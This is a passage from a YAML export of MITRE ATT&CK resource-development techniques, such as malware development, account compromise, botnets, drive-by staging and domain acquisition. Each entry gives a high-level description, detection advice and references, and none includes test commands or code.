        Adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB)

        As with legitimate development efforts, different skill sets may be required for developing malware. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware.

        Some aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of [Web Services](https://attack.mitre.org/techniques/T1583/006).(Citation: FireEye APT29)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      x_mitre_detection: |-
        Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time.

        Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.2'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Malware Repository: Malware Content'
      - 'Malware Repository: Malware Metadata'
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1586.001:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--274770e0-2612-4ccf-a678-ef8e7bad365d
      type: attack-pattern
      created: '2020-10-01T01:18:35.535Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1586.001
        url: https://attack.mitre.org/techniques/T1586/001
      - source_name: AnonHBGary
        description: 'Bright, P. (2011, February 15). Anonymous speaks: the inside
          story of the HBGary hack. Retrieved March 9, 2017.'
        url: https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/
      - source_name: NEWSCASTER2014
        description: Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials
          in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.
        url: https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation
      - source_name: BlackHatRobinSage
        description: Ryan, T. (2010). “Getting In Bed with Robin Sage.”. Retrieved
          March 6, 2017.
        url: http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf
      modified: '2022-04-25T14:00:00.188Z'
      name: Social Media Accounts
      description: "Adversaries may compromise social media accounts that can be used
        during targeting. For operations incorporating social engineering, the utilization
        of an online persona may be important. Rather than creating and cultivating
        social media profiles (i.e. [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001)),
        adversaries may compromise existing social media accounts. Utilizing an existing
        persona may engender a level of trust in a potential victim if they have a
        relationship, or knowledge of, the compromised persona. \n\nA variety of methods
        exist for compromising social media accounts, such as gathering credentials
        via [Phishing for Information](https://attack.mitre.org/techniques/T1598),
        purchasing credentials from third-party sites, or by brute forcing credentials
        (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior
        to compromising social media accounts, adversaries may conduct Reconnaissance
        to inform decisions about which accounts to compromise to further their operation.\n\nPersonas
        may exist on a single site or across multiple sites (ex: Facebook, LinkedIn,
        Twitter, etc.). Compromised social media accounts may require additional development,
        this could include filling out or modifying profile information, further developing
        social networks, or incorporating photos.\n\nAdversaries can use a compromised
        social media profile to create new, or hijack existing, connections to targets
        of interest. These connections may be direct or may include trying to connect
        through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) Compromised
        profiles may be leveraged during other phases of the adversary lifecycle,
        such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003))."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      x_mitre_detection: |-
        Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Persona: Social Media'
      - 'Network Traffic: Network Traffic Content'
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1588.006:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--2b5aa86b-a0df-4382-848d-30abea443327
      type: attack-pattern
      created: '2020-10-15T02:59:38.628Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1588.006
        url: https://attack.mitre.org/techniques/T1588/006
      - source_name: National Vulnerability Database
        url: https://nvd.nist.gov/
        description: National Vulnerability Database. (n.d.). National Vulnerability
          Database. Retrieved October 15, 2020.
      modified: '2022-04-25T14:00:00.188Z'
      name: Vulnerabilities
      description: |-
        Adversaries may acquire information about vulnerabilities that can be used during targeting. A vulnerability is a weakness in computer hardware or software that can, potentially, be exploited by an adversary to cause unintended or unanticipated behavior to occur. Adversaries may find vulnerability information by searching open databases or gaining access to closed vulnerability databases.(Citation: National Vulnerability Database)

        An adversary may monitor vulnerability disclosures/databases to understand the state of existing, as well as newly discovered, vulnerabilities. There is usually a delay between when a vulnerability is discovered and when it is made public. An adversary may target the systems of those known to conduct vulnerability research (including commercial vendors). Knowledge of a vulnerability may cause an adversary to search for an existing exploit (i.e. [Exploits](https://attack.mitre.org/techniques/T1588/005)) or to attempt to develop one themselves (i.e. [Exploits](https://attack.mitre.org/techniques/T1587/004)).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      x_mitre_detection: Much of this activity will take place outside the visibility
        of the target organization, making detection of this behavior difficult. Detection
        efforts may be focused on behaviors relating to the potential use of exploits
        for vulnerabilities (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190),
        [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203),
        [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068),
        [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211),
        [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212),
        [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210),
        and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1583.005:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--31225cd3-cd46-4575-b287-c2c14011c074
      type: attack-pattern
      created: '2020-10-01T00:49:05.467Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1583.005
        url: https://attack.mitre.org/techniques/T1583/005
      - source_name: Norton Botnet
        url: https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html
        description: Norton. (n.d.). What is a botnet?. Retrieved October 4, 2020.
      - source_name: Imperva DDoS for Hire
        url: https://www.imperva.com/learn/ddos/booters-stressers-ddosers/
        description: Imperva. (n.d.). Booters, Stressers and DDoSers. Retrieved October
          4, 2020.
      - source_name: Krebs-Anna
        description: Brian Krebs. (2017, January 18). Who is Anna-Senpai, the Mirai
          Worm Author?. Retrieved May 15, 2017.
        url: https://krebsonsecurity.com/2017/01/who-is-anna-senpai-the-mirai-worm-author/
      - source_name: Krebs-Bazaar
        description: Brian Krebs. (2016, October 31). Hackforums Shutters Booter Service
          Bazaar. Retrieved May 15, 2017.
        url: https://krebsonsecurity.com/2016/10/hackforums-shutters-booter-service-bazaar/
      - source_name: Krebs-Booter
        description: Brian Krebs. (2016, October 27). Are the Days of “Booter” Services
          Numbered?. Retrieved May 15, 2017.
        url: https://krebsonsecurity.com/2016/10/are-the-days-of-booter-services-numbered/
      modified: '2022-04-25T14:00:00.188Z'
      name: Botnet
      description: 'Adversaries may buy, lease, or rent a network of compromised systems that
        can be used during targeting. A botnet is a network of compromised systems
        that can be instructed to perform coordinated tasks.(Citation: Norton Botnet)
        Adversaries may purchase a subscription to use an existing botnet from a booter/stresser
        service. With a botnet at their disposal, adversaries may perform follow-on
        activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566)
        or Distributed Denial of Service (DDoS).(Citation: Imperva DDoS for Hire)(Citation:
        Krebs-Anna)(Citation: Krebs-Bazaar)(Citation: Krebs-Booter)'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      x_mitre_detection: Much of this activity will take place outside the visibility
        of the target organization, making detection of this behavior difficult. Detection
        efforts may be focused on related stages of the adversary lifecycle, such
        as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint
        Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network
        Denial of Service](https://attack.mitre.org/techniques/T1498).
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1608.004:
    technique:
      modified: '2023-04-15T00:21:55.791Z'
      name: Drive-by Target
      description: |-
        Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001). Prior to [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).

        Adversaries may upload or inject malicious web content, such as [JavaScript](https://attack.mitre.org/techniques/T1059/007), into websites.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015) This may be done in a number of ways, including:

        * Inserting malicious scripts into web pages or other user controllable web content such as forum posts
        * Modifying script files served to websites from publicly writeable cloud storage buckets
        * Crafting malicious web advertisements and purchasing ad space on a website through legitimate ad providers (i.e., [Malvertising](https://attack.mitre.org/techniques/T1583/008))

        In addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592)) to ensure it is vulnerable prior to attempting exploitation.(Citation: ATT ScanBox)

        Websites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack.

        Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      x_mitre_deprecated: false
      x_mitre_detection: |-
        If infrastructure or patterns in the malicious web content utilized to deliver a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) have been previously identified, internet scanning may uncover when an adversary has staged web content for use in a strategic web compromise.

        Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Internet Scan: Response Content'
      type: attack-pattern
      id: attack-pattern--31fe0ba2-62fd-4fd9-9293-4043d84f7fe9
      created: '2021-03-17T20:33:20.127Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1608/004
        external_id: T1608.004
      - source_name: ATT ScanBox
        description: 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework
          Used with Watering Hole Attacks. Retrieved October 19, 2020.'
        url: https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
      - source_name: Gallagher 2015
        description: Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking
          group hacked 100+ websites to use as “watering holes”. Retrieved January
          25, 2016.
        url: http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/
      - source_name: FireEye CFR Watering Hole 2012
        description: Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details.
          Retrieved December 18, 2020.
        url: https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1587.002:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--34b3f738-bd64-40e5-a112-29b0542bc8bf
      type: attack-pattern
      created: '2020-10-01T01:41:08.652Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1587.002
        url: https://attack.mitre.org/techniques/T1587/002
      - url: https://en.wikipedia.org/wiki/Code_signing
        description: Wikipedia. (2015, November 10). Code Signing. Retrieved March
          31, 2016.
        source_name: Wikipedia Code Signing
      modified: '2022-04-25T14:00:00.188Z'
      name: Code Signing Certificates
      description: |-
        Adversaries may create self-signed code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.

        Prior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may develop self-signed code signing certificates for use in operations.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      x_mitre_detection: |-
        Consider analyzing self-signed code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, and common name. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in crafting self-signed code signing certificates.

        Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Malware Repository: Malware Metadata'
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1584.003:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--39cc9f64-cf74-4a48-a4d8-fe98c54a02e0
      type: attack-pattern
      created: '2020-10-01T00:55:17.771Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1584.003
        url: https://attack.mitre.org/techniques/T1584/003
      - source_name: NSA NCSC Turla OilRig
        url: https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf
        description: 'NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla
          Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October
          16, 2020.'
      - source_name: ThreatConnect Infrastructure Dec 2020
        url: https://threatconnect.com/blog/infrastructure-research-hunting/
        description: 'ThreatConnect. (2020, December 15). Infrastructure Research
          and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.'
      - source_name: Mandiant SCANdalous Jul 2020
        url: https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation
        description: Stephens, A. (2020, July 13). SCANdalous! (External Detection
          Using Network Scan Data and Automation). Retrieved October 12, 2021.
      - source_name: Koczwara Beacon Hunting Sep 2021
        url: https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2
        description: Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with
          Shodan. Retrieved October 12, 2021.
      modified: '2022-04-25T14:00:00.188Z'
      name: Virtual Private Server
      description: |-
        Adversaries may compromise third-party Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. Adversaries may compromise VPSs purchased by third-party entities. By compromising a VPS to use as infrastructure, adversaries can make it difficult to physically tie back operations to themselves.(Citation: NSA NCSC Turla OilRig)

        Compromising a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers as well as that added by the compromised third-party.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      x_mitre_detection: |-
        Once adversaries have provisioned software on a compromised VPS (ex: for use as a command and control server), internet scans may reveal VPSs that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)

        Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Internet Scan: Response Content'
      - 'Internet Scan: Response Metadata'
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1586.003:
    technique:
      modified: '2022-10-21T14:21:57.991Z'
      name: Cloud Accounts
      description: |-
        Adversaries may compromise cloud accounts that can be used during targeting. Adversaries can use compromised cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002) or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s. Cloud accounts can also be used in the acquisition of infrastructure, such as [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007) infrastructure. Compromising cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud)

        A variety of methods exist for compromising cloud accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, conducting [Password Spraying](https://attack.mitre.org/techniques/T1110/003) attacks, or attempting to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: MSTIC Nobelium Oct 2021) Prior to compromising cloud accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. In some cases, adversaries may target privileged service provider accounts with the intent of leveraging a [Trusted Relationship](https://attack.mitre.org/techniques/T1199) between service providers and their customers.(Citation: MSTIC Nobelium Oct 2021)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      x_mitre_detection: 'Much of this activity will take place outside the visibility
        of the target organization, making detection of this behavior difficult. Detection
        efforts may be focused on related stages of the adversary lifecycle, such
        as during exfiltration (ex: [Transfer Data to Cloud Account](https://attack.mitre.org/techniques/T1537)).'
      x_mitre_platforms:
      - PRE
      x_mitre_is_subtechnique: true
      x_mitre_deprecated: false
      x_mitre_domains:
      - enterprise-attack
      x_mitre_version: '1.0'
      x_mitre_contributors:
      - Francesco Bigarella
      type: attack-pattern
      id: attack-pattern--3d52e51e-f6db-4719-813c-48002a99f43a
      created: '2022-05-27T14:30:01.904Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1586/003
        external_id: T1586.003
      - source_name: Awake Security C2 Cloud
        description: 'Gary Golomb and Tory Kei. (n.d.). Threat Hunting Series: Detecting
          Command & Control in the Cloud. Retrieved May 27, 2022.'
        url: https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/
      - source_name: MSTIC Nobelium Oct 2021
        description: Microsoft Threat Intelligence Center. (2021, October 25). NOBELIUM
          targeting delegated administrative privileges to facilitate broader attacks.
          Retrieved March 25, 2022.
        url: https://www.microsoft.com/security/blog/2021/10/25/nobelium-targeting-delegated-administrative-privileges-to-facilitate-broader-attacks/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1586.002:
    technique:
      modified: '2023-04-11T01:07:48.218Z'
      name: Email Accounts
      description: |-
        Adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598), [Phishing](https://attack.mitre.org/techniques/T1566), or large-scale spam email campaigns. Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship with, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).

        A variety of methods exist for compromising email accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials.(Citation: AnonHBGary)(Citation: Microsoft DEV-0537) Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Adversaries may target compromising well-known email accounts or domains from which malicious spam or [Phishing](https://attack.mitre.org/techniques/T1566) emails may evade reputation-based email filtering rules.

        Adversaries can use a compromised email account to hijack existing email threads with targets of interest.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      x_mitre_contributors:
      - Tristan Bennett, Seamless Intelligence
      - Bryan Onel
      x_mitre_deprecated: false
      x_mitre_detection: 'Much of this activity will take place outside the visibility
        of the target organization, making detection of this behavior difficult. Detection
        efforts may be focused on related stages of the adversary lifecycle, such
        as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).'
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
      x_mitre_version: '1.1'
      type: attack-pattern
      id: attack-pattern--3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b
      created: '2020-10-01T01:20:53.104Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1586/002
        external_id: T1586.002
      - source_name: AnonHBGary
        description: 'Bright, P. (2011, February 15). Anonymous speaks: the inside
          story of the HBGary hack. Retrieved March 9, 2017.'
        url: https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/
      - source_name: Microsoft DEV-0537
        description: Microsoft. (2022, March 22). DEV-0537 criminal actor targeting
          organizations for data exfiltration and destruction. Retrieved March 23,
          2022.
        url: https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1608.001:
    technique:
      modified: '2023-04-11T23:22:49.534Z'
      name: Upload Malware
      description: |-
        Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.

        Malware may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Malware can also be staged on web services, such as GitHub or Pastebin, or hosted on the InterPlanetary File System (IPFS), where decentralized content storage makes the removal of malicious files difficult.(Citation: Volexity Ocean Lotus November 2020)(Citation: Talos IPFS 2022)

        Adversaries may upload backdoored files, such as application binaries, virtual machine images, or container images, to third-party software stores or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub). By chance encounter, victims may directly download/install these backdoored files via [User Execution](https://attack.mitre.org/techniques/T1204). [Masquerading](https://attack.mitre.org/techniques/T1036) may increase the chance of users mistakenly executing these files.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      x_mitre_contributors:
      - Kobi Haimovich, CardinalOps
      - Goldstein Menachem
      x_mitre_deprecated: false
      x_mitre_detection: |-
        If infrastructure or patterns in malware have been previously identified, internet scanning may uncover when an adversary has staged malware to make it accessible for targeting.

        Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [User Execution](https://attack.mitre.org/techniques/T1204) or [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Internet Scan: Response Content'
      type: attack-pattern
      id: attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e
      created: '2021-03-17T20:09:13.222Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1608/001
        external_id: T1608.001
      - source_name: Volexity Ocean Lotus November 2020
        description: 'Adair, S. and Lancaster, T. (2020, November 6). OceanLotus:
          Extending Cyber Espionage Operations Through Fake Websites. Retrieved November
          20, 2020.'
        url: https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/
      - source_name: Talos IPFS 2022
        description: 'Edmund Brumaghin. (2022, November 9). Threat Spotlight: Cyber
          Criminal Adoption of IPFS for Phishing, Malware Campaigns. Retrieved March
          8, 2023.'
        url: https://blog.talosintelligence.com/ipfs-abuse/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1583.001:
    technique:
      modified: '2024-04-13T14:03:04.511Z'
      name: Domains
      description: |-
        Adversaries may acquire domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free.

        Adversaries may use acquired domains for a variety of purposes, including for [Phishing](https://attack.mitre.org/techniques/T1566), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), and Command and Control.(Citation: CISA MSS Sep 2020) Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation: PaypalScam) Typosquatting may be used to aid in delivery of payloads via [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). Adversaries may also use internationalized domain names (IDNs) and different character sets (e.g. Cyrillic, Greek, etc.) to execute "IDN homograph attacks," creating visually similar lookalike domains used to deliver malware to victim machines.(Citation: CISA IDN ST05-016)(Citation: tt_httrack_fake_domains)(Citation: tt_obliqueRAT)(Citation: httrack_unhcr)(Citation: lazgroup_idn_phishing) Different URIs/URLs may also be dynamically generated to uniquely serve malicious content to victims.(Citation: iOS URL Scheme)(Citation: URI)(Citation: URI Use)(Citation: URI Unique)

